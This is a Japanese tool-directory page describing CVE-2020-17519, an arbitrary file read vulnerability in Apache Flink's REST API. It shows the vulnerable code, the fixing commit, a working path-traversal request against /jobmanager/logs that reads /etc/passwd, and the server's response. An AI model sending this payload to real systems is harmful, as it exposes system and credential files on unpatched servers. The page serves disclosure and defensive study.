Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-17519 — [CVE-2020-17519] Apache Flink RESTful API 任意のファイル読み取り | Kitploit
ツール/GitHubGitHub/murataydemir/cve-2020-17519
エクスプロイトフレームワーク脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubmurataydemir/cve-2020-17519

CVE-2020-17519

[CVE-2020-17519] Apache Flink RESTful API 任意のファイル読み取り

リポジトリを見る
8215年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[CVE-2020-17519] Apache Flink RESTful API 任意ファイル読み取り


Apache Flink は、Java と Scala で開発された、有界および無界なデータストリームに対するステートフル計算のためのフレームワークおよび分散処理エンジンです。Apache Flink 1.11.0 で導入された変更(1.11.1 および 1.11.2 でもリリース)により、攻撃者は JobManager プロセスの RESTful API を介して、JobManager のローカルファイルシステム上の任意のファイルを読み取ることができます。ファイルシステムへのアクセスは、JobManager プロセスがアクセス可能なファイルに制限されます。

関連する脆弱性の影響を受けるのは 1.11.0 から 1.11.2 までのすべてのバージョンですが、Apache Flink は 1.11.3 以降のバージョンでこの脆弱性を修正しています。

脆弱性のあるコードは src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java クラスです。関連するコードスニペットは以下のとおりです。

root@kitploit:~
		if (logDir == null) {
			return null;
		}
		String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		return new File(logDir, filename);
	}
}

問題は、リクエストハンドラがファイルパスへの直接アクセスを可能にする点です。このコミットにより、脆弱性のあるコード行は以下のように変更されました。下記のコードスニペットでは、脆弱性のある行はコメント行としてマークされています。

root@kitploit:~
		if (logDir == null) {
			return null;
		}
		// String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
		return new File(logDir, filename);
	}
}

概念実証 (PoC): この脆弱性を悪用するには、以下のリクエストを使用できます

root@kitploit:~
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

上記のリクエストに対するレスポンスは以下のとおりです

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 964

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh

PoC の画像
また、CVE-2020-17519 向けの Metasploit モジュールが Excellent ランクで公開されています。Ruby コードはこちらで見つけることができます。 PoC の画像

ツールをダウンロード